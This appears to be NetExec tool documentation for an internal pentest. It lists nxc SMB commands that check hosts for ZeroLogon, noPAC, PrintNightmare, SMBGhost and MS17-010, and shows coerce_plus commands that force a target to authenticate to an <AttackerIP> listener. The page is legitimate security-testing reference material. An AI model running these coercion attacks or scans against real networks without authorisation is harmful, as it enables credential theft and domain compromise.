Scan for Vulnerabilities

Check if host is vulnerable

Scan for Vulnerabilities

When you start your internal pentest, these are the first modules you should try:

ZeroLogon

nxc smb <ip> -u '' -p '' -M zerologon

noPAC

nxc smb <ip> -u 'user' -p 'pass' -M nopac

You need a credential for noPAC vulnerability check.

PrintNightmare

nxc smb <ip> -u '' -p '' -M printnightmare

SMBGhost

nxc smb <ip> -u '' -p '' -M smbghost

MS17-010 (Not tested outside LAB environment)

nxc smb <ip> -u '' -p '' -M ms17-010

Or, try them all at once! Just list each one: -M zerologon -M printnightmare

Scan for Coerce Vulnerabilities

You can check for coerce vulnerabilities such as PetitPotam, DFSCoerce, PrinterBug, MSEven and ShadowCoerce using the coerce_plus module. You can also use credentials to check for these vulnerabilities. By default the LISTENER ip will be set to localhost, so no traffic will appear on the network.

nxc smb <ip> -u '' -p '' -M coerce_plus

If a vulnerability is found, you can set a LISTENER ip to coerce the connection.

nxc smb <ip> -u '' -p '' -M coerce_plus -o LISTENER=<AttackerIP>

To run all exploit methods at once, add the ALWAYS=true option, otherwise it will stop if the underlying RPC connection reports a successful coercion.

nxc smb <ip> -u '' -p '' -M coerce_plus -o LISTENER=<AttackerIP> ALWAYS=true

You can also check for a specific coerce method by specifying it:

nxc smb <ip> -u '' -p '' -M coerce_plus -o METHOD=PetitPotam

Instead of using the METHOD option, you can use its short form M. Similarly, the argument LISTENER can be shortened to L.

This also applies to the names of the vulnerabilities when specifying a method.

M=p // Invalid, as both petitpotam and printerbug start with ‘p’ so modules gives error

M=pr // Matches printerbug

M=pe // Matches petitpotam

M=dfs // Matches dfscoerce
